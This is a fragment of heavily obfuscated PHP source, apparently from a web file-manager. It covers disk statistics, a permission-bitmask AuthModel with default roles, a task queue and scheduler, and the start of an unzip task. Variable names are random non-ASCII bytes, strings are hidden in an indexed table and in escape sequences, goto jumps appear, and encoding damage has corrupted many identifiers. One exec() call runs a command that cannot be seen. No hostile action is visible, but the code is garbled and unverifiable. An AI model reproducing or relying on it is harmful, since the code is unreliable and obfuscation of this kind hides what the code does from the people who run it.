isset($ÇÙÏ×<C38F>­[0][$ý禔†¦[1651]]) ? $ÇÙÏ×<C38F>­[0][$ý禔†¦[1651]] : 0; $õÅþ¯ûá = $ý禔†¦[1946] . ($±­ªÌ‚  ? $ý禔†¦[8] . $±­ªÌ‚  : $ý禔†¦[12]); } $ÔˆéÂÓì = $GLOBALS[$ý禔†¦[6]][$ý禔†¦[425]][$ý禔†¦[901]]; return array($ý禔†¦[1947] => $ÉœÐÞŽ<C39E> ? $ÉœÐÞŽ<C39E>[$ý禔†¦[1948]] : 0, $ý禔†¦[1949] => $ÉœÐÞŽ<C39E> ? $ÉœÐÞŽ<C39E>[$ý禔†¦[1950]] : 0, $ý禔†¦[1951] => (int) $×òÕÍþù[$ý禔†¦[1948]] * 1024 * 1024 * 1024, $ý禔†¦[1952] => (int) $ÚÈÁÈÎð, $ý禔†¦[1953] => ucfirst($ùÇ›Ìä¦), $ý禔†¦[1954] => $ý禔†¦[1955] . PHP_VERSION, $ý禔†¦[1956] => phpBuild64() ? 64 : 32, $ý禔†¦[824] => str_replace($ý禔†¦[1204], $ý禔†¦[1063], $õÅþ¯ûá), $ý禔†¦[425] => ucfirst($ÔˆéÂÓì), $ý禔†¦[32] => $_SERVER[$ý禔†¦[1957]]); } private function diskDriver() { $àŒß¯¿ë =& $_SERVER[ˆ¡¹µ‹Â]; $㤋ßéö = $àŒß¯¿ë[8]; $ù“¯‡§Í = $GLOBALS[$àŒß¯¿ë[6]][$àŒß¯¿ë[1378]] == $àŒß¯¿ë[1379]; if ($ù“¯‡§Í) { $㤋ßéö = $àŒß¯¿ë[1958]; if (function_exists($àŒß¯¿ë[1959])) { exec($àŒß¯¿ë[1960], $<24>¡»ÎØ™); $㤋ßéö = $<24>¡»ÎØ™[1] . $àŒß¯¿ë[8]; } } if (!file_exists($㤋ßéö)) { return; } if (!function_exists($àŒß¯¿ë[1961])) { return; } $<24>ÝÒ¬áÎ = @disk_total_space($㤋ßéö); $¶ËâÛìã = $<24>ÝÒ¬áÎ - @disk_free_space($㤋ßéö); return array($àŒß¯¿ë[1948] => $<24>ÝÒ¬áÎ, $àŒß¯¿ë[1950] => $¶ËâÛìã); } public function fileChart($…âÇæºŸ) { $·ÊœÇȵ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($…âÇæºŸ[$·ÊœÇȵ[1763]])) { return Model($·ÊœÇȵ[899])->userFileTypeProfile($…âÇæºŸ[$·ÊœÇȵ[1763]]); } if (isset($…âÇæºŸ[$·ÊœÇȵ[1962]])) { return Model($·ÊœÇȵ[899])->groupFileTypeProfile($…âÇæºŸ[$·ÊœÇȵ[1962]]); } $¡ñÙÓˆ<C393> = $this->sourceSize(); $“Ú–Ý’þ = array($·ÊœÇȵ[192] => 0, $·ÊœÇȵ[190] => 1); $´éˆÛ’Å = Model($·ÊœÇȵ[899])->where($“Ú–Ý’þ)->sum($·ÊœÇȵ[79]); $“Ú–Ý’þ[$·ÊœÇȵ[190]] = 2; $…€ÚÍ’ª = Model($·ÊœÇȵ[899])->where($“Ú–Ý’þ)->sum($·ÊœÇȵ[79]); return array($·ÊœÇȵ[830] => $¡ñÙÓˆ<C393>[$·ÊœÇȵ[79]], $·ÊœÇȵ[1895] => $¡ñÙÓˆ<C393>[$·ÊœÇȵ[1895]], $·ÊœÇȵ[1896] => (int) $´éˆÛ’Å, $·ÊœÇȵ[1897] => (int) $…€ÚÍ’ª); } private function sourceSize() { $–È÷Ïŧ =& $_SERVER[ˆ¡¹µ‹Â]; $¢‡ß™ÓÅ = Model($–È÷Ïŧ[899])->where(array($–È÷Ïŧ[485] => 0))->sum($–È÷Ïŧ[79]); $öúÌÏ<C38C>· = Model($–È÷Ïŧ[544])->sum($–È÷Ïŧ[79]); if ($öúÌÏ<C38C>· > $¢‡ß™ÓÅ) { $öúÌÏ<C38C>· = $¢‡ß™ÓÅ; } return array($–È÷Ïŧ[79] => (int) $¢‡ß™ÓÅ, $–È÷Ïŧ[1895] => (int) $öúÌÏ<C38C>·); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $<24>œÀµ§ =& $_SERVER[ˆ¡¹µ‹Â]; $íÏÜ刢 = array(array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1963]), $<24>œÀµ§[1964] => $<24>œÀµ§[1965], $<24>œÀµ§[1966] => 1, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1969]), $<24>œÀµ§[1964] => $<24>œÀµ§[1970], $<24>œÀµ§[1966] => 2, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1971]), $<24>œÀµ§[1964] => $<24>œÀµ§[1972], $<24>œÀµ§[1966] => 3, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1973]), $<24>œÀµ§[1964] => $<24>œÀµ§[1974], $<24>œÀµ§[1966] => 4, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => self::AUTH_SHOW | self::AUTH_VIEW), array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1975]), $<24>œÀµ§[1964] => $<24>œÀµ§[1976], $<24>œÀµ§[1966] => 5, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1977]), $<24>œÀµ§[1964] => $<24>œÀµ§[1978], $<24>œÀµ§[1966] => 6, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($<24>œÀµ§[494] => LNG($<24>œÀµ§[1979]), $<24>œÀµ§[1964] => $<24>œÀµ§[1980], $<24>œÀµ§[1966] => 7, $<24>œÀµ§[1967] => 1, $<24>œÀµ§[1968] => 0)); return $íÏÜ刢; } public static function authCheck($¬Õø°èÖ, $„°Õ‰ïÄ) { $υǶ±ô =& $_SERVER[ˆ¡¹µ‹Â]; $¬Õø°èÖ = intval($¬Õø°èÖ); if (KodUser::isRoot() && $GLOBALS[$υǶ±ô[6]][$υǶ±ô[1981]]) { return !0; } if ($¬Õø°èÖ <= 0) { return !1; } if (($¬Õø°èÖ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($¬Õø°èÖ & $„°Õ‰ïÄ); } public static function authCheckShow($çËú„ëÂ) { return self::authCheck($çËú„ëÂ, self::AUTH_SHOW); } public static function authCheckView($ÕÆ•“ªþ) { return self::authCheck($ÕÆ•“ªþ, self::AUTH_VIEW); } public static function authCheckDownload($¯ðÂÒÁ<C392>) { return self::authCheck($¯ðÂÒÁ<C392>, self::AUTH_DOWNLOAD); } public static function authCheckUpload($¸½’…·†) { return self::authCheck($¸½’…·†, self::AUTH_UPLOAD); } public static function authCheckEdit($ƒ¡£¢€¢) { return self::authCheck($ƒ¡£¢€¢, self::AUTH_EDIT); } public static function authCheckRemove($à’™†ãÁ) { return self::authCheck($à’™†ãÁ, self::AUTH_REMOVE); } public static function authCheckShare($Î<>冯Ø) { return self::authCheck($Î<>冯Ø, self::AUTH_SHARE); } public static function authCheckComment($±ýÝ<C39D>â) { return self::authCheck($±ýÝ<C39D>â, self::AUTH_COMMENT); } public static function authCheckEvent($¤µòïÁ’) { return self::authCheck($¤µòïÁ’, self::AUTH_EVENT); } public static function authCheckRoot($𝏑¢Á) { return self::authCheck($𝏑¢Á, self::AUTH_ROOT); } public static function authCheckAction($Û…øÊ·Ð, $þúìë¿¥) { $‚¸æ¬û² =& $_SERVER[ˆ¡¹µ‹Â]; $³‘•ÝÌö = array($‚¸æ¬û²[1982] => self::AUTH_VIEW, $‚¸æ¬û²[1272] => self::AUTH_DOWNLOAD, $‚¸æ¬û²[110] => self::AUTH_UPLOAD, $‚¸æ¬û²[1931] => self::AUTH_EDIT, $‚¸æ¬û²[1930] => self::AUTH_REMOVE, $‚¸æ¬û²[1941] => self::AUTH_SHARE, $‚¸æ¬û²[430] => self::AUTH_COMMENT, $‚¸æ¬û²[1751] => self::AUTH_EVENT, $‚¸æ¬û²[1983] => self::AUTH_ROOT); if (!isset($³‘•ÝÌö[$þúìë¿¥])) { return; } $<24>ýȾƒƒ = $³‘•ÝÌö[$þúìë¿¥]; $Û…øÊ·Ð = intval($Û…øÊ·Ð); if ($Û…øÊ·Ð <= 0) { return !1; } if (($Û…øÊ·Ð & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Û…øÊ·Ð & $<24>ýȾƒƒ); } public static function authDisable($Ý­ûì´Ž, $å½ìê³ö) { if (intval($Ý­ûì´Ž) <= 0) { return 0; } return intval($Ý­ûì´Ž) & ~$å½ìê³ö; } public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x73\x6f\x75\162\143\145\101\x75\164\150\114\151\x73\x74"; public $field = array("\x6e\x61\155\145", "\x61\x75\x74\150", "\154\x61\142\x65\154", "\x64\x69\163\160\x6c\141\x79", "\x73\171\x73\164\145\155", "\x73\157\162\x74"); public function initData() { $Ý<E280B9>¢ß = $this->authDefault(); foreach ($Ý<E280B9>¢ß as $û®ÈçÑœ) { $this->add($û®ÈçÑœ); } } public function findAuth($±ªëª<C3AB>é, $¶©æÊïµ) { $àìðžç´ =& $_SERVER[ˆ¡¹µ‹Â]; $ÚµÇÞƒñ = parent::listData(); foreach ($ÚµÇÞƒñ as $—ÎÝÁâ¡) { $Ãø…µ¦— = intval($—ÎÝÁâ¡[$àìðžç´[487]]); if ($Ãø…µ¦— <= 0 || $—ÎÝÁâ¡[$àìðžç´[1984]] == 0) { continue; } if (($Ãø…µ¦— & $±ªëª<C3AB>é) != $±ªëª<C3AB>é) { continue; } if (($Ãø…µ¦— & $¶©æÊïµ) != 0) { continue; } return $—ÎÝÁâ¡[$àìðžç´[475]]; } return !1; } public function findAuthMax($‰Ê²ù“Â, $ÄÍ×±“Õ) { $Ú¥þ”â÷ =& $_SERVER[ˆ¡¹µ‹Â]; $¥Ûœ“•Ž = !1; $ò™â˜û£ = parent::listData(); foreach ($ò™â˜û£ as $Ëá×Ý»•) { $ÐÒÎä<C38E>¹ = intval($Ëá×Ý»•[$Ú¥þ”â÷[487]]); if ($ÐÒÎä<C38E>¹ <= 0 || $Ëá×Ý»•[$Ú¥þ”â÷[1984]] == 0) { continue; } if (($ÐÒÎä<C38E>¹ & $‰Ê²ù“Â) != $‰Ê²ù“Â) { continue; } if (($ÐÒÎä<C38E>¹ & $ÄÍ×±“Õ) != 0) { continue; } if (!$¥Ûœ“•Ž) { $¥Ûœ“•Ž = $Ëá×Ý»•; continue; } if (intval($¥Ûœ“•Ž[$Ú¥þ”â÷[487]]) < $ÐÒÎä<C38E>¹) { $¥Ûœ“•Ž = $Ëá×Ý»•; } } return $¥Ûœ“•Ž ? $¥Ûœ“•Ž[$Ú¥þ”â÷[475]] : !1; } public function findAuthReadOnly() { $–Ø¢Ÿ¥È = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $”ùó§ñ‡ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($–Ø¢Ÿ¥È, $”ùó§ñ‡); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ý”àƒ±ù =& $_SERVER[ˆ¡¹µ‹Â]; $æÊÍ­Èù = parent::listData(); $ò¬Ã–Ž“ = !1; foreach ($æÊÍ­Èù as $ô<>ç‰ÈÓ) { if ($ô<>ç‰ÈÓ[$ý”àƒ±ù[487]] <= 0 || $ô<>ç‰ÈÓ[$ý”àƒ±ù[1984]] == $ý”àƒ±ù[228]) { continue; } if (!$ò¬Ã–Ž“) { $ò¬Ã–Ž“ = $ô<>ç‰ÈÓ; continue; } if ($ò¬Ã–Ž“[$ý”àƒ±ù[487]] > $ô<>ç‰ÈÓ[$ý”àƒ±ù[487]]) { $ò¬Ã–Ž“ = $ô<>ç‰ÈÓ; } } return $ò¬Ã–Ž“ ? $ò¬Ã–Ž“[$ý”àƒ±ù[475]] : $ý”àƒ±ù[12]; } public function listData($÷ô<C3B7>ˆ¹º = false, $òì¡•–Ë = "\163\x6f\x72\164", $¡Žòœ¬ª = false) { return parent::listData($÷ô<C3B7>ˆ¹º, $òì¡•–Ë, $¡Žòœ¬ª); } public function update($…ñ©ßâæ, $‚ŸÒŸÚÇ) { $§–Ðýá„ =& $_SERVER[ˆ¡¹µ‹Â]; $”µìºº§ = parent::listData($…ñ©ßâæ); $¦êÑäèƒ = $this->findByName($‚ŸÒŸÚÇ[$§–Ðýá„[32]]); if (!$”µìºº§ || $¦êÑäèƒ && $¦êÑäèƒ[$§–Ðýá„[475]] != $”µìºº§[$§–Ðýá„[475]]) { return !1; } $this->filterAuth($‚ŸÒŸÚÇ[$§–Ðýá„[487]]); return parent::update($…ñ©ßâæ, $‚ŸÒŸÚÇ); } public function remove($î¿ßú†ó) { $<24>»<EFBFBD>¯¸˜ = parent::listData($î¿ßú†ó); if (!$<24>»<EFBFBD>¯¸˜ || $<24>»<EFBFBD>¯¸˜[$_SERVER[ˆ¡¹µ‹Â][191]]) { return !1; } return parent::remove($î¿ßú†ó); } public function add($ž‰<C5BE>¬öÜ = array()) { $ý¹Ø<C2B9>¼ç =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->findByName($ž‰<C5BE>¬öÜ[$ý¹Ø<C2B9>¼ç[32]])) { return !1; } $鈉ô<E280B0>Þ = array($ý¹Ø<C2B9>¼ç[32] => $ý¹Ø<C2B9>¼ç[12], $ý¹Ø<C2B9>¼ç[487] => 1, $ý¹Ø<C2B9>¼ç[1985] => $ý¹Ø<C2B9>¼ç[1972], $ý¹Ø<C2B9>¼ç[1984] => 1, $ý¹Ø<C2B9>¼ç[191] => 0, $ý¹Ø<C2B9>¼ç[1986] => 0); $ž‰<C5BE>¬öÜ = array_merge($鈉ô<E280B0>Þ, $ž‰<C5BE>¬öÜ); $ž‰<C5BE>¬öÜ[$ý¹Ø<C2B9>¼ç[1986]] = $this->getSort(); $this->filterAuth($ž‰<C5BE>¬öÜ[$ý¹Ø<C2B9>¼ç[487]]); return parent::insert($ž‰<C5BE>¬öÜ); } private function getSort() { $Öå<C396>¬ÝË =& $_SERVER[ˆ¡¹µ‹Â]; $ðÉæË‘¸ = parent::listData(); $÷ÙôØ¿• = array_to_keyvalue($ðÉæË‘¸, $Öå<C396>¬ÝË[12], $Öå<C396>¬ÝË[1986]); return empty($÷ÙôØ¿•) ? 0 : max($÷ÙôØ¿•) + 1; } private function filterAuth(&$<24>ŠÀïŸ) { if (!$<24>ŠÀïŸ) { return; } $ìºàÕžÇ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $­é£ü߈ = array(); foreach ($ìºàÕžÇ as $<24>Çð±íÍ) { if ($<24>ŠÀïŸ & $<24>Çð±íÍ) { $­é£ü߈[] = $<24>Çð±íÍ; } } if (in_array(self::AUTH_ROOT, $­é£ü߈)) { $<24>ŠÀïŸ = array_sum($ìºàÕžÇ); return; } $ÏÛö‰úØ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($­é£ü߈ as $<24>Çð±íÍ) { if (isset($ÏÛö‰úØ[$<24>Çð±íÍ])) { $­é£ü߈ = array_merge($­é£ü߈, $ÏÛö‰úØ[$<24>Çð±íÍ]); } } $­é£ü߈[] = self::AUTH_SHOW; $<24>ŠÀïŸ = array_sum(array_unique($­é£ü߈)); } public function sort($æŠÎ£ôÛ, $•Ãî­•ò) { return parent::update($æŠÎ£ôÛ, $•Ãî­•ò); } } goto aò µ™ëù; b”ëÇ<C3AB>ÞÙ†: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\163\x6b\x51\165\x65\165\145\x4c\x65\x6e\147\x74\x68"; const QUEUE_DATA = "\164\141\x73\153\x51\165\x65\x75\x65\x44\141\x74\x61"; const QUEUE_TIME = "\x74\141\x73\x6b\121\x75\145\165\145\x4c\141\x73\x74\x52\x75\156"; const QUEUE_THREAD = "\x74\141\x73\x6b\x51\x75\145\165\145\124\x68\x72\145\x61\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($Ç´ËÜÓ°, $Æ™áŠø† = array(), $€˜éúÀ® = '', $Åð·à¿î = '') { $¹–è§Ùã =& $_SERVER[ˆ¡¹µ‹Â]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($Åð·à¿î && array_find_by_field(self::$listData, $¹–è§Ùã[97], $Åð·à¿î)) { return !0; } if ($Åð·à¿î && array_find_by_field(self::$listDataAdd, $¹–è§Ùã[97], $Åð·à¿î)) { return !0; } self::$listDataAdd[] = array($¹–è§Ùã[341] => $Ç´ËÜÓ°, $¹–è§Ùã[1861] => $Æ™áŠø†, $¹–è§Ùã[526] => $€˜éúÀ®, $¹–è§Ùã[97] => $Åð·à¿î); return !0; } public static function addSubmit() { $݄ș±Â =& $_SERVER[ˆ¡¹µ‹Â]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($݄ș±Â[1862] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $݄ș±Â[12], $݄ș±Â[526])), $݄ș±Â[197]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($¾æå¸º•, $÷ü¤¤òä = array(), $‘ÚœÚφ = '', $<24>‡¾Þ• = '') { $Úꜜýä =& $_SERVER[ˆ¡¹µ‹Â]; if (self::count() >= self::MAX_LENGTH) { return !1; } $‘ý™¢ó¤ = self::getAll(); if ($<24>‡¾Þ• && array_find_by_field($‘ý™¢ó¤, $Úꜜýä[97], $<24>‡¾Þ•)) { return !0; } $‘ý™¢ó¤[] = array($Úꜜýä[341] => $¾æå¸º•, $Úꜜýä[1861] => $÷ü¤¤òä, $Úꜜýä[526] => $‘ÚœÚφ, $Úꜜýä[97] => $<24>‡¾Þ•); self::setAll($‘ý™¢ó¤); write_log($Úꜜýä[1862] . $‘ÚœÚφ, $Úꜜýä[197]); return !0; } public static function run() { $¶ÆÅ§ã« =& $_SERVER[ˆ¡¹µ‹Â]; $¬—òø’œ = self::getAll(); $Œ°‰„ȶ = array_shift($¬—òø’œ); if (!$Œ°‰„ȶ) { return !1; } self::setAll($¬—òø’œ); $<24>¨Ì³üì = timeFloat(); $ÄÒÑ«Ôö = $¶ÆÅ§ã«[12]; try { $ÄÒÑ«Ôö = Hook::apply($Œ°‰„ȶ[$¶ÆÅ§ã«[341]], $Œ°‰„ȶ[$¶ÆÅ§ã«[1861]]); } catch (Exception $Ù‰<E280B0>ƒ¼) { write_log($Ù‰<E280B0>ƒ¼, $¶ÆÅ§ã«[1257]); } $™þÂÊ™ö = number_format(timeFloat() - $<24>¨Ì³üì, 3) . $¶ÆÅ§ã«[1779]; if ($ÄÒÑ«Ôö && is_string($ÄÒÑ«Ôö)) { $™þÂÊ™ö = $™þÂÊ™ö . $¶ÆÅ§ã«[1863] . $ÄÒÑ«Ôö; } write_log($¶ÆÅ§ã«[1864] . $Œ°‰„ȶ[$¶ÆÅ§ã«[526]] . $¶ÆÅ§ã«[1865] . $™þÂÊ™ö, $¶ÆÅ§ã«[197]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $£Íϱ¯Ö =& $_SERVER[ˆ¡¹µ‹Â]; $ž¹Ü<C2B9>Ò = self::threadCount() + 1; if ($ž¹Ü<C2B9>Ò > 3 || !self::count()) { return; } write_log($£Íϱ¯Ö[1866] . $ž¹Ü<C2B9>Ò, $£Íϱ¯Ö[197]); Cache::set(self::QUEUE_THREAD, $ž¹Ü<C2B9>Ò, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($£Íϱ¯Ö[1867], $£Íϱ¯Ö[197]); } public static function getKey($<24>”µ<E2809D>˜€, $̸úú«µ = "\x69\x6e\164") { $åôçú¹‰ =& $_SERVER[ˆ¡¹µ‹Â]; Cache::removeMemory($<24>”µ<E2809D>˜€); $Ž‹à€£¨ = Cache::get($<24>”µ<E2809D>˜€); if ($̸úú«µ == $åôçú¹‰[364]) { return $Ž‹à€£¨ ? intval($Ž‹à€£¨) : 0; } if ($̸úú«µ == $åôçú¹‰[1868]) { return is_array($Ž‹à€£¨) ? $Ž‹à€£¨ : array(); } return $Ž‹à€£¨; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[ˆ¡¹µ‹Â][1868]); } public static function setAll($¾ÂÖ°óà) { $þðÌü÷Ú = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($¾ÂÖ°óà), $þðÌü÷Ú); Cache::set(self::QUEUE_DATA, $¾ÂÖ°óà, $þðÌü÷Ú); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($òþÀ<C3BE>µ<EFBFBD>, $ö¡Þð‘’ = 5.0) { if (!$òþÀ<C3BE>µ<EFBFBD>) { return; } $°Ýþ<C39D>¤Ø = Cache::get($òþÀ<C3BE>µ<EFBFBD>); if (!$°Ýþ<C39D>¤Ø || timeFloat() - floatVal($°Ýþ<C39D>¤Ø) >= $ö¡Þð‘’) { Cache::set($òþÀ<C3BE>µ<EFBFBD>, timeFloat(), $ö¡Þð‘’ * 10); return !0; } return !1; } public static function timeLimitCall($æÇꎚà, $<24>Íëᡱ, $Û˜‰ž™ž, $ò¦Ÿ¾˜<C2BE> = 5.0) { $ׅ醟 =& $_SERVER[ˆ¡¹µ‹Â]; if (!$æÇꎚà || !$<24>Íëᡱ) { return; } self::$asyncAdd = !0; $ó<E280B9>ܪ¯ = $ׅ醟[1869]; $–ŒÆ¹ôÕ = Cache::get($ó<E280B9>ܪ¯, !0); $´Ø¾·å§ = array($ׅ醟[1870] => timeFloat(), $ׅ醟[1871] => timeFloat(), $ׅ醟[341] => $<24>Íëᡱ, $ׅ醟[1861] => $Û˜‰ž™ž, $ׅ醟[206] => $ò¦Ÿ¾˜<C2BE>); if (is_array($–ŒÆ¹ôÕ[$æÇꎚà])) { $´Ø¾·å§[$ׅ醟[1871]] = $–ŒÆ¹ôÕ[$æÇꎚà][$ׅ醟[1871]]; } if (is_array($–ŒÆ¹ôÕ[$æÇꎚà])) { if (timeFloat() - $–ŒÆ¹ôÕ[$æÇꎚà][$ׅ醟[1870]] < $´Ø¾·å§[$ׅ醟[206]] * 0.3) { return; } $´Ø¾·å§[$ׅ醟[1871]] = $–ŒÆ¹ôÕ[$æÇꎚà][$ׅ醟[1871]]; } $–ŒÆ¹ôÕ[$æÇꎚà] = $´Ø¾·å§; Cache::set($ó<E280B9>ܪ¯, $–ŒÆ¹ôÕ, 60); Cache::removeMemory($ó<E280B9>ܪ¯); write_log($ׅ醟[1872] . $æÇꎚà . $ׅ醟[74] . $<24>Íëᡱ, $ׅ醟[197]); } public static function timeLimitCallLoop() { $ßᶦ„ï =& $_SERVER[ˆ¡¹µ‹Â]; $ퟳº<C2B3>ã = array($ßᶦ„ï[1873]); $‚óÌð = in_array(strtolower(ACTION), $ퟳº<C2B3>ã); if (!$‚óÌð && !self::$asyncAdd) { return; } $¨–ŽíÏ— = $ßᶦ„ï[1869]; $€ªÂÇÜš = Cache::get($¨–ŽíÏ—, !0); if (!$€ªÂÇÜš || count($€ªÂÇÜš) <= 0) { return; } $úÖáÛŽæ = !1; $ã ¬ÖÝ‚ = timeFloat(); $Êšº<C2BA>ë = array(); foreach ($€ªÂÇÜš as $ô<>û»ºÏ => $”Çýµ<C3BD>¾) { if ($ã ¬ÖÝ‚ - $”Çýµ<C3BD>¾[$ßᶦ„ï[1871]] > $”Çýµ<C3BD>¾[$ßᶦ„ï[206]]) { $úÖáÛŽæ = !0; try { Hook::apply($”Çýµ<C3BD>¾[$ßᶦ„ï[341]], $”Çýµ<C3BD>¾[$ßᶦ„ï[1861]]); write_log($ßᶦ„ï[1874] . $ô<>û»ºÏ . $ßᶦ„ï[74] . $”Çýµ<C3BD>¾[$ßᶦ„ï[341]] . $ßᶦ„ï[1875] . ACTION, $ßᶦ„ï[197]); } catch (Exception $³ÊÆ…“<E280A6>) { } continue; } $Êšº<C2BA>ë[$ô<>û»ºÏ] = $”Çýµ<C3BD>¾; } if (!$úÖáÛŽæ) { return; } if (!$Êšº<C2BA>ë) { return Cache::remove($¨–ŽíÏ—); } Cache::set($¨–ŽíÏ—, $Êšº<C2BA>ë, 60); Cache::removeMemory($¨–ŽíÏ—); } public static function finished($±»©Ôøº, $Çé“ò<E2809C>å) { $÷‚ØÆ±› =& $_SERVER[ˆ¡¹µ‹Â]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($÷‚ØÆ±›[341] => $±»©Ôøº, $÷‚ØÆ±›[1861] => $Çé“ò<E2809C>å); } private static function finishedRun() { $ï×åµÝ— =& $_SERVER[ˆ¡¹µ‹Â]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $¨ÙÓ<E2809A>) { try { Hook::apply($¨ÙÓ<E2809A>[$ï×åµÝ—[341]], $¨ÙÓ<E2809A>[$ï×åµÝ—[1861]]); } catch (Exception $<24>å÷ã«ç) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $€<E282AC>Ýèó =& $_SERVER[ˆ¡¹µ‹Â]; parent::startAfter(); Hook::bind($€<E282AC>Ýèó[1876], array($this, $€<E282AC>Ýèó[1877])); Hook::bind($€<E282AC>Ýèó[1271], array($this, $€<E282AC>Ýèó[1878])); Hook::bind($€<E282AC>Ýèó[1879], array($this, $€<E282AC>Ýèó[1880])); $‚Ž”Êê¨ =& $this->task; $‚Ž”Êê¨[$€<E282AC>Ýèó[1881]] = $€<E282AC>Ýèó[1272]; if (!$‚Ž”Êê¨[$€<E282AC>Ýèó[1652]]) { $‚Ž”Êê¨[$€<E282AC>Ýèó[1652]] = LNG($€<E282AC>Ýèó[1882]); } } protected function endAfter() { $Ÿå£<C3A5>žû =& $_SERVER[ˆ¡¹µ‹Â]; parent::endAfter(); Hook::unbind($Ÿå£<C3A5>žû[1876], array($this, $Ÿå£<C3A5>žû[1877])); Hook::unbind($Ÿå£<C3A5>žû[1271], array($this, $Ÿå£<C3A5>žû[1878])); Hook::unbind($Ÿå£<C3A5>žû[1879], array($this, $Ÿå£<C3A5>žû[1880])); } public function updateAfter() { $ÓüÈ¢æþ =& $_SERVER[ˆ¡¹µ‹Â]; $§àîö¼” =& $this->task; if (!$§àîö¼”[$ÓüÈ¢æþ[1134]] || !$§àîö¼”[$ÓüÈ¢æþ[830]]) { if ($§àîö¼”[$ÓüÈ¢æþ[1881]] != $ÓüÈ¢æþ[389]) { return; } } if ($§àîö¼”[$ÓüÈ¢æþ[1881]] == $ÓüÈ¢æþ[1272]) { $åŠÇý¿² = 0; if ($§àîö¼”[$ÓüÈ¢æþ[1816]]) { $åŠÇý¿² = $§àîö¼”[$ÓüÈ¢æþ[1817]] / $§àîö¼”[$ÓüÈ¢æþ[1816]]; } $§àîö¼”[$ÓüÈ¢æþ[1765]] = $åŠÇý¿² * 0.3; } else { if ($§àîö¼”[$ÓüÈ¢æþ[1881]] == $ÓüÈ¢æþ[389]) { $åŠÇý¿² = $§àîö¼”[$ÓüÈ¢æþ[1764]] / $§àîö¼”[$ÓüÈ¢æþ[1134]]; $§àîö¼”[$ÓüÈ¢æþ[1765]] 